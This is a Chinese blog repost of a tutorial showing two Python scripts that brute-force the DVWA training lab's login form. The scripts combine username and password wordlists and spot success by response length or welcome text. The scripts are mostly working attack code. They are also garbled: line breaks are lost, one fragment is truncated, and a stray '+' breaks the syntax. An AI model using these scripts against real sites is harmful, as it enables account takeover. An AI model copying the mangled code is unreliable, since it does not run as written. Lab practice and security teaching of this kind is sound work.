Python暴力破解网站登录密码脚本
生活随笔
收集整理的這篇文章主要介紹了
Python暴力破解网站登录密码脚本
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
測試靶機為DVWA,適合DVWA暴力破解模塊的Low和Medium等級
關鍵代碼解釋
url指定url地址
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"header設置請求頭
header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'}payload設置請求參數
payload = {'username':username,'password':password,"Login":'Login'}這一行的作用是做一次get請求,響應信息被變量Response接收
Response = requests.get(url,params=payload,headers=header)這兩行代碼循環遍歷賬號和密碼字典文件,之后給他們做笛卡爾積循環暴力破解
這種方式和burp的Intruder模塊的Cluster bomb攻擊方式一樣
n("C:\\Users\\admin\\Documents\\字典\\賬號.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):然后把循環結果存放到csv文件里,用逗號分割數據
Response.status_code是響應的http狀態碼,len(Response.content)是http響應報文的長度
result = str(Response.status_code) + ',' + username + ','\ + password + ',' + str(len(Response.content)) f.write(result + '\n')完整代碼
方法一
登陸成功的和失敗返回數據不同,所以數據包長度也不同。包長度與其他不同的數據,可能就是正確的賬號密碼。
Python學習交流Q群:906715085### import requests url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"#proxies= {"http":"http://127.0.0.1:8080"} #代理設置,方便burp抓包查看header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'} f = open('result.csv','w')f.write('狀態碼' + ',' + '用戶名' + ',' + '密碼' + ',' + '包長度' + '\n') for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"): username = admin.strip() password = line.strip() payload = {'username':username,'password':password,"Login":'Login'} Response = requests.get(url,params=payload,headers=header) result = str(Response.status_code) + ',' + username + ','\ + password + ',' + str(len(Response.content)) + f.write(result + '\n') print('\n完成')運行結果
運行
這就是腳本發送的數據包
查看結果
查看包長度與其他不同的數據,登錄測試
方法二
這個方法是根據登陸成功的返回特征來判斷是否為正確的賬號密碼,然后把正確的賬號密碼輸出到屏幕和txt文件里
主要改動在第17到20行
Python學習交流Q群:906715085#### import requests url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"#proxies= {"http":"http://127.0.0.1:8080"} #代理設置,方便burp抓包查看 header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'} f = open('result.txt','w')for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"): username = admin.strip() password = line.strip() payload = {'username':username,'password':password,"Login":'Login'} Response = requests.get(url,params=payload,headers=header) if not(Response.text.find('Welcome to the password protected area')==-1): result = username + ':' + password print(result) f.write(result + '\n') print('\n完成')運行結果
最后
今天分享的文章到這里就結束了,喜歡這篇文章的小伙伴可以抓緊練習一下,對文中不懂的知識點及時提出問題,讓我看看有哪些地方不
懂,不懂的記得提問,看見就會回你…
總結
以上是生活随笔為你收集整理的Python暴力破解网站登录密码脚本的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: java swt 布局管理器_JAVA.
- 下一篇: websocket python爬虫_p